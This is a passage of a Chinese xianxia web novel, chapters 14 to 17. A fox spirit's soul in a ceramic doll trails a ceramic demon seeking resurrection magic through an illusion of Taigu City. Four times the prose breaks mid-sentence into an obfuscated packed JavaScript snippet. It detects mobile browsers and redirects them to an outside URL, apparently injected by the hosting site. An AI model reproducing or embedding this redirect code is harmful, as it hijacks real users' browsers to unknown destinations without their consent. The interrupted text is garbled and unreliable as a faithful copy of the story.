他是三人之中唯一擅长阵道之人,便主动担下了解释的事情。 景星不知为何,瞧见辛云便觉得心烦,不耐道:“谁要你解释,无关紧要的事情罢了。” 辛云皱了皱眉。 柳重月知晓他们二人关系不可能太好,从前程玉鸣和景星见面的时候不多,每次见了面都矛盾多多。 景星总是不待见柳重月,连带着他的道侣也总是嫌弃,觉得程玉鸣是散修出身,总怀疑他怎么修得如此高强的修为,想必是走什么邪魔外道炼成的。 程玉鸣又道景星性情急躁毛头小子,拿他当小孩看,时时惹得景星暴怒。 偏偏程玉鸣是渡劫期修士,景星当年才至金丹,如何打得过。 现在见了前世的程玉鸣,还是老样子。 柳重月懒得搭理他们拌嘴,将心神放在前方的瓷妖身上。 瓷妖进了藏宝阁却不见她觊觎其中的金银珠宝和法器仙丹,直奔书柜而去,翻来覆去不知在找着什么。 柳重月记起董凡雁先前断断续续提到瓷妖的事情,他猜测瓷妖反复来相求,或许便和她那个夫君有关。 柳重月拍拍辛云的肩,小声道:“你再往前走些,我要看看她在找什么。” 辛云便顺从地往前走去,将景星留在了身后。 景星心情忽然愈发糟糕起来,看着前方那人背上背着的瓷偶,对方发丝垂在身后,乌黑又柔软。 景星恍惚了一下,他忽然想,那个人以前是不是也喜欢像这样编个辫子。 时间太久了,他已经快要忘记那个人的样子和细节了。 只记得自己被对方重伤的那一日,那天大雪里,他看见柳重月身后摇摆的火红狐尾。 也记得那一年宗门大比,柳重月被他一剑挑下山崖,他着急跟着跃下,将要抓住对方手腕的一瞬,长鞭卷携而来,将那近在咫尺的人从自己眼前带走。 后来再见到他们,他们已互相接下对方灵贴,结为道侣。 柳重月喜欢趴在对方背上让对方背着自己走。 如今想想,原是狐狸本性。 不知道什么时候他开始看不惯柳重月,看不惯他整日黏在明钰仙尊身边讨摸,看不惯他不拿剑的双手,看不惯他坐在寒泉边含着笑整理自己发尾,也看不惯他与程玉鸣亲近。 他自诩是柳重月的师弟,自小与他一同长大,到最后却连对方的一丝一毫都不曾了解。 景星站在原地出神,原本已经平静的心神在思及那人时又开始动荡不安。 柳重月对身后人发生了什么一无所知,他已经靠近了瓷妖,双手撑着辛云的肩,探出身体去。 “仙道秘术,第五十二话,死而复生……” 他看得有些慢,大抵是一个死而复生的故事,字里行间情绪饱满,情感真挚。 瓷妖看得更快些,翻了页。 页尾有一行小注:纯属虚构,请勿当真。 柳重月:“……” 瓷妖似乎也有些懵:“这是何意?” 她不信邪,又翻了数本,这架子里的书本本相似,都是虚构的故事。 直到最后一本的最后一页,尾注变了。 “以此书赠与仙使,愿仙使亲临下界时不觉无聊。” 瓷妖:“……” “仙使从前入过下界,为平定魔族动荡而来,在这里带过一段时间。” 辛云小声同柳重月解释道:“太鼓城从前没有城主,仙使大人是第一任,之后才将城主之位延续下去的。” 柳重月点点头想,难怪此处有这么多灵器宝物,想必是那位仙使留下的。 死而复生之法…… 这瓷妖恐怕从前有一位夫君,不知道因为何事死了,因而她遍寻复生之法,想将她夫君复活。 求来求去,想起太鼓城有仙使的踪迹,于是寻到此处来,没想到仙使见不上,董凡雁也不愿引荐。 “世间当真有死而复生之法么?”柳重月有些茫然,“我以前似乎也见过什么人在找这样的办法。” 忘了是什么时候历练时碰到的,一个修为不低的修士,已因此有了执念,最后办法没找到,人却早便堕了魔,死在了程玉鸣剑下。 柳重月原以为是没有的。 若真有,上下界生死平衡将会被打破,天道必定会降罪于此。 可辛云却道:“有。” “有?” “是,”辛云语气认真,说,“上界仙人掌握下界生死,死而复生不过是一句话的事,只要有胆量,敢与天道相抗,抬指间便能改变一个人的命数。” 所以那瓷妖才会想着来见仙使。 柳重月又问:“上界仙人真的有这样的胆量么?” “或许吧,”辛云话音顿了顿,只说,“我也不太清楚,不过听说天罚很重,仙人没有转世,陨落便是身死道消,会彻底消失在世间,想是也没有仙人愿意担这样的风险。” 话音刚落,瓷妖耐心告罄,情绪蓦地爆发,一把推翻了书柜。 轰隆响动声中,她掌心凝出一团灵力,阴沉着脸走到了仙使的石像前。 纱幔遮面的仙人瞧不见面容,只能看见一点唇瓣和下巴,唇角微微上扬,似是在微笑,又似乎只是平静。 瓷妖咬咬牙,忽然笑出声来,声音因为愤怒而稍显尖锐,阴阳怪气道:“仙人,凡人,不过都是上界天道的玩物罢了,天道捉弄仙人,仙人又来捉弄凡人。” “无人捉弄你,”那石像忽然幽幽传出话音,模模糊糊,相距很远般,听不出声线,“死而复生与长生都只是虚妄,你以为上界仙人无所不能,实则每个人都只是被无形锁链束缚的棋子,一举一动没有自由。” 他话未尽,瓷妖骤然出手,轰隆一声将石像打碎。 石像在空中散成大片,却又慢慢回聚,恢复了原样。 仙使道:“我帮不了你,若你潜心修行,兴许往后还有机会再见你夫君。” “都只是冠冕堂皇的推脱罢了,”瓷妖轻嗤一声,道,“已经两百年了,要能等到早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050979|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便等到了。” “是你夫君为求长生修炼邪术,致使一城百姓被屠杀,若非如此,他不必等业障消弭才能转世,”仙使道,“他自己选了非正道的方式,总归要付出代价。” “他无非便是想与相爱之人相守长久些罢了,要不是仙道不许无仙缘之人修炼,他又怎么会做这种事?” “为你们一己私欲便使得无数人丢却性命,大道仁心不曾勘悟分毫,仙道又怎会给予仙缘,”仙使叹息一声,像是,没了耐心,“你还是潜心修炼罢,前尘往事抛却掉,虽妖修不得飞升,但寻长生也不算困难,等一等总会再见面。” 瓷妖像是已经被欺骗推脱过许多次,已然不信仙使的话了,只冷笑道:“这番话你们仙道两百年前便与我说过,我又怎会再信。” 她撩了袍袖,转身离开了此处。 仙使的石像再度沉寂,没了声息。 柳重月出生时上界下界联系已经甚少,下界灵气早已稀薄,能飞升入上界实在难得,渡劫之后也并非万无一失,连师尊当年都没能成功进入上界。 他这是头一次见到上界的仙人,虽然隔着幻境与石像,却还是让他感到有些许熟悉。 想不明白狐狸便不想了,狐狸不太喜欢折磨自己的脑子,又催着辛云快走。 谁承想,辛云竟站在原地看着仙使的石像出神。 柳重月眸光晃了晃,心觉辛云知晓那么多有关仙使的事情,恐怕还有什么不曾说的关系。 他懒得多问,只转转头,又看见景星也站在一边出神。 柳重月:“……” 还不如当时把常成天拉过来呢。 想了想他又摇摇头。 常成天也是个不省心的。 柳重月试图从对方背上爬下来,他动了动身体,辛云如梦初醒,将他又紧紧捞住了。 柳重月语气平和:“我以为你跟着仙使一起回上界了呢。” 辛云的耳廓有些红,像是心虚,不过嗓音很是冷静,道:“没有,只是想了些事,抱歉。” “与我抱歉做什么,”柳重月似笑非笑,“我与你非亲非故。” 他知道辛云肯定已经猜到自己与景星关系不同了,也懒得藏什么,又道:“说起来,我与我师弟才是关系亲密,你也背了我许久,行动不便,不如还是让我——” “不麻烦,”辛云忽然有些急切,“啊,我是说,你师弟瞧起来神志不太稳当,又是幻境外的人,若是让他背着你,恐怕会不慎摔了你。” 柳重月却不再说话了。 他们往地室外走,景星本还站在原地,离得远了些,蓦地便被拽了回来。 景星清醒了些,不甘这般被人拴着绳子般拖着走,脸色很是难看,又匆匆两步上前去,走到了前头。 他忽然听见那附身瓷偶的人在身后笑,心里烦躁异常,不曾见到对方容貌又觉得嗓音熟悉,猛地便转了头。 入目是那张很丑陋的面容。 景星心里那一点点犹疑又散去了。 他总记得那个人很在意自己容颜,怎么能忍受自己附身在这样的丑陋的瓷偶身上。 兴许是自己多想了。 他的长明灯……还没亮起来呢。 15. 第 15 章 已经不再记得是什么时候了。 依稀有些许印象,大约是某一年的冷冬,景星刚满十四,宗门上下都在庆贺他的生辰礼。 柳重月消失了两个月,景星遍寻不到,寻到亭松院问明钰,明钰却道他下山历练去了。 那时柳重月修为比及同门弟子领先太多,明钰授他剑术,下山历练时明钰会将自己的剑借给他。 景星曾见过柳重月在山崖上舞剑的姿态,那一身青衣很是寡素,偏偏容颜格外漂亮,又显得那身绣着青叶的衣衫有些艳丽。 尤其是站在雪中时,扎眼得像是寻春的新芽。 景星问了两个月,没问到他的下落,直到生辰那日才又再见到柳重月。 对方不喜欢御剑,脚下踩着一截藤蔓,阿梧的枝干汇聚缠绕在一起,从后往前补上,为柳重月铺出一条小路。 他步步生莲般自天际落下,衣袂纷飞着,纤细的腰肢在纱幔间若隐若现。 手里还提着明钰仙尊的银剑,剑柄上那一串铃铛叮铃作响。 景星心想,柳重月每次都这般,无论去哪都很是招摇。 许多人都会情不自禁地将视线落在他身上,胆小的暗自觊觎,胆大的上前攀谈。 偏偏柳重月来者不拒,似是对每个人都一般无二地好,与谁说话都是一副笑意盈盈模样。 景星觉得自己不是胆小。 他是柳重月的师弟,聊天说话都是随时可以做的事情,没必要去和别人争。 于是他便这样想着,坐在原位不曾动弹。 谁料柳重月身边莺莺燕燕太多,他来给景星送礼物,却来不及多说话,只将串着灵石的护身符远远抛到他桌上,转眼便淹没在人群中了。 景星后来总是问自己后悔吗? 不后悔。 后悔。 说不清楚。 他勤学苦练,三年间试试用功,从不松懈。 后来又听说柳重月已经两年多不曾再下山历练,也甚少离开亭松院,不见外客,与明钰孤身相伴。 景星原打算上山去见一见柳重月,三年来他的修为增长很快,已经突破了金丹期了,与柳重月再比一比必定不会像从前那样惨败。 但走到半途又觉得这样久别重逢便出手挑战也有些不太合适,若不找些理由上去也隐约觉得不好意思。 他想了想,给自己捏了个障眼法,从守门弟子那借了个身份,偷偷摸摸上了山。 刚敲响亭松院外的驼铃,柳重月的嗓音已从院内传出,含着笑问:“师弟找我何事?” 景星不知道他怎么认出是自己的,少年一时间有些慌乱,支支吾吾道:“谁是你师弟。” “你不是我师弟吗?”柳重月裹着狐裘,抱着暖壶自院中走出来,他的长发已至臀部,行动间在身后轻轻摇摆,像是摇晃的狐尾。 景星先是觉得他脸色有些苍白,后来又听对方似笑非笑道:“你就是化成灰我都认得出来,做什么要扮成守门弟子的样子?” 景星便将之前短暂升起的念头抛之脑后,偏开视线心虚地找着理由,说:“我只是闲着无聊,试一试刚学的法术罢了。” 柳重月耸耸肩,想是也没信,却也没有要邀请人入院坐一坐的打算,只抱着暖炉与景星保持着不远不近的距离,靠在竹门上:“亭松院太冷了,若没什么别的事,你便下山去吧。” 顿了顿,他又像是刚刚才记起什么来,又问:“我听师尊说你还不曾去山下历练,什么时候该去一去了,修行学道是为了有朝一日能为自己所用,盲目提升修为也没什么意义。” 他轻咳了一声,唇瓣嫣红,像是染了口脂。 “师尊在唤我了,”柳重月赶着客人,“下山去吧。” “师兄,”景星忽然觉得不对劲,“你……是不是身体不舒服?” 修仙之人有灵力护体,又怎会怕冷。 柳重月怔了怔,忽然笑起来:“师尊仙力溢散,这寒气可不是普通修士能忍受得了的,行了,你快走吧,我有些困了。” 他抬起手冲着景星晃了晃,又慢吞吞进了院子,自景星视线中消失了。 *** 柳重月的思绪悠悠回神。 现下幻境中已入夜,瓷妖入了董凡雁体内,占据了对方的身躯,如今正在城主府中。 他们三人赶到此处,见瓷妖暂且还没什么动作,只能先行找地方休息。 柳重月白日受不得日光,月色出来后魂魄便舒服了很多,让辛云将他放到院中晒月亮。 辛云倒是不曾走远,只是二人都不说话,安安静静,更不知晓景星去了何处。 他与景星确然是没什么缘分的,从前景星做了许多事,那些落在自己身上的目光和心思他其实都知晓,但景星太过矛盾,矛盾到连他也想不清景星究竟是怎么想的了。 恨得无端,爱得也莫名。 换了身皮囊便认不出自己了,柳重月心觉好笑,却又不怎么想要,仍然沉默着。 过了片刻,辛云忽然道:“你的那个师弟,他在屋顶上坐着。” “他爱在哪坐便在哪坐吧,”柳重月语气带着些许无情,“终归从前我与他也不是那么熟悉。” 互相不了解熟悉的故人罢了,若不是挂着一个师兄弟的名头,原本就是没多少牵连的。 辛云见柳重月情绪奇怪,也说不上难过,甚至算得上冷淡。 他心里实在好奇,可自己往日也冷漠惯了,不是很喜欢八卦别人的私事。 他欲言又止,幸亏脸上带着覆面,无法看清他先前的举动。 但柳重月许是觉得无聊,忽然又问:“你可还记得我先前问你,若有一日有人杀了你,你会怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050980|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 辛云记得这个问题,他当时说了“杀回去”,但这似乎并非柳重月想要的答案。 于是他沉默了片刻,反问道:“若是你,你会怎么做?” “我?”柳重月语调有些缓慢,“杀我的人其实只用了一刀,但我很疼啊。” 他语调轻轻,却像是摆动的狐尾,忽然让辛云感到心里有些发痒。 还有些寒凉。 幻境外的柳重月已死已经不是秘密,但他竟不知晓对方竟是为外人杀死的。 想到这件事便觉得荒谬,又觉得双手止不住颤抖,心跳也几近加快,像是被什么情绪附着在身上似的,陌生而又不受控制。 只觉得难过的情绪一阵一阵上涌,像是要将他彻底淹没一般。 辛云唇瓣张了张,却失了语,又听柳重月道:“你问我,我会怎么做啊。” “他杀我一刀,我自然得让他千刀万剐,剖心放血,让他痛不欲生。” 柳重月脸上还顶着那张很是丑陋的面容,笑起来时略显狰狞。 但辛云心中莫名的情绪却忽然消解了,无端想,这样也挺好。 这样的念头出现得突然,辛云想不明白,忽然又见柳重月撑着身体向前挪了挪,转了话题问:“我今日见你对那仙使之事了解甚多,你还知道些什么,不妨说与我听听。” 辛云神色有些犹豫,半晌还是道:“仙使是连通上下界的使者,是传达下界人诉求,同时昭告天道指令之人。” “千年前魔族动荡,仙道难以平复,魔气四溢引起下界阴阳失衡,天道令其入下界平定动乱,因而仙使来到此城中停留数年。” “返回上界后不久仙使便仙陨了。” 他说得简洁,柳重月又问:“他为什么会仙陨?” “不清楚,”辛云眼中情绪平静,只道,“听闻是天道降罪,便这么没了。” 柳重月察觉到对方兴许还有所隐瞒,这回不实话实说往后便更不可能了,于是也没了继续了解的兴趣。 他们又沉默了片刻,景星忽从房顶上跃下,见他们一同坐在月下说话,心里竟一阵不爽快,冷哼一声道:“你们在做什么?” 辛云觉得他性情乖张,说话总是不讨喜,正要开口,柳重月先一步打断道:“在谈情说爱,道友若是想一起也可以,我与我夫君也不嫌弃。” 辛云:“……” 景星一听这话便震怒非常,音量都高了些:“你个丑八怪难道还好意思嫌弃别人吗?” “道友这么动怒做什么,”柳重月悠然自得般笑着,语气像只狡黠的狐狸,“还是说,我与我夫君亲热,让你觉得很吃醋呢。” 这话刚出口,两个男人却都愣了愣,谁也没接上话。 实在是很熟悉。 辛云想。 像是之前在何处听到过似的。 16. 第 16 章 柳重月不知晓辛云在想什么。 自从修为回退至筑基之后他的身体也随之遭到重创,变得格外虚弱。 他开始减少出行,留在亭松院。 明钰在的时候会为他渡灵力护体,有他陪伴,在烟山的日子也不算那么无聊。 直到明钰仙逝,他封存了亭松院,孤身一人下了山。 山下百姓安居乐业,街巷上人声鼎沸,柳重月从中走去时也能察觉到有人在看他。 但他已经丧失了交流的欲望,在遇到程玉鸣前,他在这个世间唯一在意的人只有阿娘和师尊。 人已死,他无牵无挂,周遭所有人都成了可有可无的存在。 程玉鸣后来去诛魔,消失许久,再到回到烟山杀妻证道,这段时日对于柳重月来说很是漫长,也已经被抑制了太久。 如今话头上来了,又是自己从前师弟,实在是忍不住,只顾着找他麻烦,道:“其实我见你也算英俊潇洒,偶尔换换口味也不错,你若是实在想要,我也不介意陪你玩玩。” “你胡说八道什么,”景星已经几百年没听到这等污言秽语了,耳廓顿时泛红,气急败坏道,“你若长得美若天仙我倒是高看你一眼,你也不照照镜子看看自己长什么模样。” 他知道自己被柳重月耍弄了,心里不舒服,又觉得别扭,咬牙放着狠话:“你若是在敢同我说这些话,我便将你揍碎在此处。” 话音刚落,身边忽然传来剑出鞘的声音,寒光一晃,辛云已然站在了柳重月身前。 辛云脸上戴着覆面,露在外部的眉眼带着冷冽的杀意,直直盯着景星。 本想说点什么,思来想去,却又只道:“幻境内险境丛生,还是不要内讧,否则我们都会被困在其中。” 景星握着剑的手指已收紧,手背青筋突出,像是在极力压制着动手的欲望。 辛云奇怪对方对自己的不满和恶意,也奇怪自己竟然也有这样的莫名的念头。 也或许是这幻境内情况复杂,自己或许也有收到什么影响。 于是只是挡在柳重月面前,将对方的身体严严实实挡住。 景星只觉得越发烦躁,蓦地转了身,红衣在风中摇曳,他跃上了屋顶,消失不见了。 柳重月知道他没办法走远,传唤之阵的阵法依着落阵人的修为持续,修为高者甚至可维持整年。 柳重月自知这具死物身上不会有修为,那时候下意识划破手指,逸散出来的灵力来自体内深处。 他死前修为尽失,又是哪里来的灵力? 柳重月借着月光看自己的手指,指腹上有一道十分明显的划痕,裂隙满眼到掌心和手背,不知道什么时候便会碎去。 他出了会儿神,忽然被人抓住了手指。 辛云手掌与指根裹着黑绸,露在外面的一截手指纤长而骨节分明,带着活人的温度。 他抓着柳重月的手,打量着他掌心的裂缝,道:“往后兴许得小心,若瓷偶碎裂,你的魂魄没有宿主便会散去,很危险。” 他半晌没等到柳重月应声,抬眼才看见对方正盯着自己,脸上没什么表情。 这张脸确实很不好看,辛云当初也是这么想的,因此才会将其放在对方脸上。 但这张脸面向自己的时候,辛云忽然觉得其实也不太丑陋的。 还有点可爱。 真是疯了。 辛云想。 他匆匆转开视线,柳重月忽然又道:“你今天话很多。” 嗓音还是他自己的,很好听清列的声线,轻轻开口时总像是在撒娇。 辛云猜测柳重月从前在宗门或许会有很多人喜欢,但是这样的人,他几乎从未在外界听闻过。 辛云支支吾吾,一时间不知道要怎么说。 但柳重月似乎说话总不考虑他人的感受,直戳了当道:“是因为我师弟在吧。” “辛云道友,”柳重月轻轻笑着,笑意却空浮在脸上,不至皮囊深处,“你喜欢我的脸吗?” 他说的不是瓷偶的面容,也不是现在这道障眼法,而是柳重月自己的脸。 辛云唇瓣张了张,没说出话来。 柳重月已经翻转手掌,反抓住了他的手指。 “我从前在宗门学算命,我算算你的姻缘,兴许你和我有缘,什么时候能结为道侣呢。” 辛云下意识想抽手:“不必了,天道命数有定,算与不算也没什么意义。” “怎会没意义,”柳重月紧紧抓着他的手指,“要真是有情缘,你我现在便可开始日夜相伴培养感情了!” 辛云:“……” 辛云知晓他又要无事找事了。 这魂魄不知在外是个什么性子,一举一动像狡黠的小动物,猜不透心思,仿佛也抓不住一般,一不小心就会从手里溜走。 在幻境里终归无聊,辛云想了想,还是由着对方去了,放松了手上的力道。 柳重月神神叨叨在他掌心画着线条,念着说:“你为什么要缠黑绸,也不摘覆面?” “我生来貌丑。” “这不是你先前敷衍我的说辞么?” 辛云见柳重月满面茫然,眼中多了些笑意,道:“不是,我所说句句属实,确认貌丑,从前在宗门总是吓到门内弟子,于是便将脸遮掩起来。” 柳重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050981|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月问:“你如今是什么修为?” “元婴临门一脚。” 那便是还没有景星修为高。 柳重月点点头,松开对方的手指,又拍拍他的肩,说:“天已晚了,进去瞧瞧瓷妖在做什么。” * 瓷妖尚在寻找起死回生之术。 她从前问遍仙门,知晓世间有此法,虽无人用过,但有这般传言总是会有痕迹。 除了地室,太鼓城还有一座藏书阁,便坐落于此城中央。 瓷妖夜里出行,查着董凡雁残留在眼中的记忆,找去了那里。 藏书阁中放置着世间天地灵宝和仙道秘术,戒备森严。 守卫见是城主亲临,向她行礼,问:“城主夜间来访,有失远迎。” “无妨,”瓷妖道,“我要入内。” “城主……”守卫有些犹豫,“您也需要令牌才可进入。” 令牌? 瓷妖有些懵,转而又记起来,那是仙使从前给董凡雁的。 藏书阁是仙使所建,进出需要他的许可,否则无论是谁都不能轻易进入。 瓷妖在原地站了一会儿,骤然间便出了手,瞬时便将两个守卫斩杀。 她甩甩指上的血迹,打开了藏书阁的大门。 石门轰隆隆响着,柳重月趴在辛云背上同他耳语:“快追上去。” 辛云脚下一蹬,瞬时便闪身上前,在石门关闭的前一刻钻了进去。 入目一片黑暗。 瓷妖掌心握着一颗夜明珠,夜明珠的光芒有限,只供她自己使用,柳重月与辛云只得自己放出灵力照明,不远不近地跟着她。 瓷妖在书架间走动,走到中央高台上。 那里放着一遵麒麟石像。 瓷妖道:“我想寻一本书。” 话音刚落,麒麟石像口吐人言:“想寻何书?” “仙使手记。” 辛云与柳重月身后的书柜忽然轻轻摇晃起来,转眼便见一本书从中飞出,慢慢飞到瓷妖手中。 瓷妖借着夜明珠翻阅着那本书。 纸页上字字句句都是仙使亲笔写下,柳重月与辛云偷偷摸摸站在瓷妖身后一起看过去。 柳重月觉得那字迹很是熟悉,但落笔提笔的习惯却并没有与自己记忆中任何人的相似。 柳重月走了会儿神,那方瓷偶已经翻了许多页。 前半本都是仙使授予下界人的修行经验,后面更像是闲来无事自言自语。 瓷妖轻轻念着他的字迹:“仙道既定仙缘之人,转世于此,还未投胎。” 她又翻去一页,一字一句念道:“向安。” 17. 第 17 章 “身负仙缘,兴许是上界仙人转世,”辛云若有所思道,“难怪那时看见瓷妖引诱向安,想是在打着他的主意。” “瓷妖那个时候还是想着怎么复生她的夫君么?”柳重月想起之前在城主府门外听到的东西,虽是问句,可心中却已经有了答案。 瓷妖一开始或许真的只是为了复生爱人而开,接连不断的受挫和阻碍已经导致她的心境发生了变化,复生与否似乎已经不再重要,她的目的已经成了报复。 是为了一己私欲还是为了别的,谁也说不清楚。 柳重月摇摇头,眼前一切忽然动荡起来,逐渐散出大片白茫的光晕,慢慢扩散开,将整个藏书阁笼罩。 风在耳边呼啸,柳重月感到辛云抱着自己双腿的手收紧了些,他微微闭了闭眼,以躲避狂风。 再睁眼时,眼前是明亮的日光和温暖的太阳,他们已经离开了藏书阁,正站在酒楼之下。 幻境内的时间进程与外界并不相同,只是捡着重要的时间节点向前流淌着。 董凡雁的身躯不知道被瓷妖占据了多久,她是无欲无求一心为民的大爱之人,太鼓城后成为荒城,她心下必定过意不去,却也无力阻止。 能想到的最好的办法便是用自己所有的力量落下幻境,希望有朝一日能被人从中发现瓷偶的秘密和弱点,彻底打破幻境,将瓷妖收复。 柳重月不知道千年前辛云有没有将这个幻境破开,但千年后柳重月并未听闻起这座城的事迹,恐怕还是失败了。 已经知晓了确定的结局,柳重月便也不报太多希望,只希望自己能全须全尾离开这个幻境,否则要是魂魄碎在其中,他便彻底死了。 柳重月没说话,辛云背着他,瞧不见他的脸,不知道他在想什么。 他心里隐隐觉得糟糕,在柳重月面前的时候他好像已经失去了掌控自己的内心与情绪的能力,像是被对方在脖颈上拴了根绳子,无论怎么走都一直在对方面前打转。 因此只能仰着头去看对方的脸色,去揣测对方的心思,去猜他是高兴还是不高兴。 辛云自修行以来一直勤学苦练,这是头一次碰到这样让他心神大乱的人。 辛云心不在焉背着柳重月往隐蔽处走,没走几步忽然听见景星的声音自身后响起,很是不耐道:“喂,你们到底要去哪?” 他是传唤之阵召来的,须得跟随阵主人活动。 那会儿辛云带着柳重月走来走去,他被迫拉着去了藏书阁,结果被堵在门外,什么都听不到看不到,也没办法离开,实在是憋屈。 在那等了半天,又突然被传送到了这里。 但柳重月他们像是没看见他似的,只顾着往前走。 景星从前哪受过这样的忽视,心里不爽快,这才开了口。 辛云脚步未停,倒是柳重月小声道:“好生无礼。” 他音量不到,轻飘飘落在辛云的耳根后。 辛云忽然觉得面颊有些烫,下意识收紧了手臂,却又听见景星在身后道:“我听到了!丑八怪你又说我!” “我没有啊,”柳重月打了个呵欠,含含糊糊说,“我既不知你名字,也没叫你,更不曾对着你说,你做什么要对号入座。” “你——”景星气得心里堵,又思忖着这人怎么说话这么伶牙俐齿,他实在是说不过,只好冷哼一声,一跃至他们前方,不想再看他们。 辛云打量着对方的背影。 这人倒是生得好看,还带着些刚成年不久的青涩与,性子又很是鲜活。 总见他与柳重月在一起争吵,像是从前在宗门时也这般热热闹闹,感情应该很好吧。 否则……他又怎会替柳重月点长明灯。 而自己到现在都不曾知晓对方的姓名。 那时柳重月几番推脱,甚至说了谎话,他不是听不出谎言,只是觉得不在意。 现在忽然又开始有些许在意了,但他不知道要怎么开口去问,只觉得,柳重月想说的话,会告诉他的,若不想说的话,那便罢了。 反正也就是萍水相逢,一起经历过这些事情,和外出历练时碰到的别的修士没多少区别的。 辛云这么想着,心里却始终不舒服。 他自阴凉处背着柳重月往城主府走,柳重月与他互相不知晓对方的心思如何,完全不清楚他先前在想什么,只道:“先等等,去酒楼。” 辛云出着神,仍往前走。 柳重月愣了愣,又拍拍他的肩,“辛云道友?” “嗯?”辛云骤然回神,“何事?” “叫你不曾应声,在想什么?”柳重月只是随口一问,又重复了一遍,“先去酒楼,我觉得瓷妖现在应当不在城主府。” 辛云便“嗯”了一声,转身原路返回。 原本已经远远走在前头的景星被一下拽了回来,身形踉跄了两步,再也止不住怒意,骂道:“究竟是你们谁落下的阵法,快将我送回去,我没时间陪你们在这浪费时间。” 他若沉睡不醒,那师兄的长明灯怎么办? 景星思及此,心里忽然慌乱不安。 柳重月道:“借此机会历练一番也是好的,何必总是想着回去,一昧地修行比不上一次两次历练收获得多,你若真心想要修仙,就安心在这里待一待吧。” 景星哪听得进他满口的大道理,正想反驳,心中却忽然咯噔一下,站住了脚。 那方辛云还在往前走,到了临界点,景星被蓦地一拽,竟让他向前扑去摔在了地上。 柳重月吓了一跳。 他一惊动,辛云便站住了脚。 景星颇为狼狈地趴在地上,慢吞吞站了起来,神情还有些恍惚。 好生熟悉的话,他想,以前是不是那个人也说过。 可是记忆里空空如也,关于那个人的回忆正在飞速流逝,很多都已经不再记得了。 景星到如今才后知后觉有些伤心难过,似乎直到今日起才忽然惊觉,那个人已经死了。 尸身杳无踪迹,长明灯熄灭,整个世间都无法感知到他的魂魄。 那个时候要是跟着他一起跳下去就好了,也不至于到现在,什么都没有。 景星心神动荡,木然没了意识。 柳重月偏着脑袋将他打量了片刻,心中却没有任何波动,很快又将视线转回来,道:“继续走吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15050982|162822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你不管管他,他不是你的师弟么?” “没有我管他的道理,”柳重月的语气有些冷漠,“他曾经是我的师弟不错,不过我已经被逐出宗门了,宗门内也没有什么亲人,早算不上师兄弟了。” 他说得倒是轻松,确实也不曾再搭理景星,辛云只能从他地语气里察觉到他的一点态度,只好继续向前走去,进了酒楼。 酒楼里人声鼎沸,因无人能看见他们,便大摇大摆上了楼,一间一间顺着厢房找进去。 走到走廊尽头处,他们见到了瓷妖和向安。 时间竟已经跳转到这个时候了? 柳重月知道自己没猜错,他小声道:“再靠近些。” 辛云便往前走了两步。 许是因为董凡雁的身躯被妖邪占据,虽声线未变,但听起来总是带着尖锐的刺耳,令人不适。 向安或许也有此意,只是碍于对方是城主,不好过多表现,仍维持着脸上的笑意。 瓷妖道:“人间如今便是如此,人命是有尽头的,而皇权至高无上,你如今只是一届史官,甚至是当朝状元来这僻壤之地做史官,难道不觉得有些大材小用么?” “多少官员才子,耗尽一辈子的时间去追逐仕途,最后成功的又有几个,若是你能够长生,不便有了更多的时间去追求自己想要的东西。” 向安脸色有些难为情:“城主,我想要的也不是什么功名利禄,就只是想看百姓过得好而已。” 他不是很想要长生,长生并不能带给他太多的好处,倒不如就这样过下去,看着百姓安居乐业,他便已经很高兴了。 瓷妖闻此言便有些不太高兴,面上情绪落了下来,却又转而道:“你有此番想法便好,我还真担心你贪图富贵,看来陛下没看错人。” 向安以为她先前是在试探自己,这才松了口气,脸上笑意也真切了些:“城主过誉了,为人臣子,只是应当做的。” 他们在酒楼里用过膳,便就此分开,回到了各自的府邸。 瓷偶入了城主府便大发雷霆,摔了许多东西,后又觉不解气,提着剑去了院中。 辛云背着柳重月跟在她身后,却见她随意挑了两个正在扫洒的奴仆,对着他们举起了剑。 辛云脚步下意识停住,猛地转了身,没叫柳重月见到血。 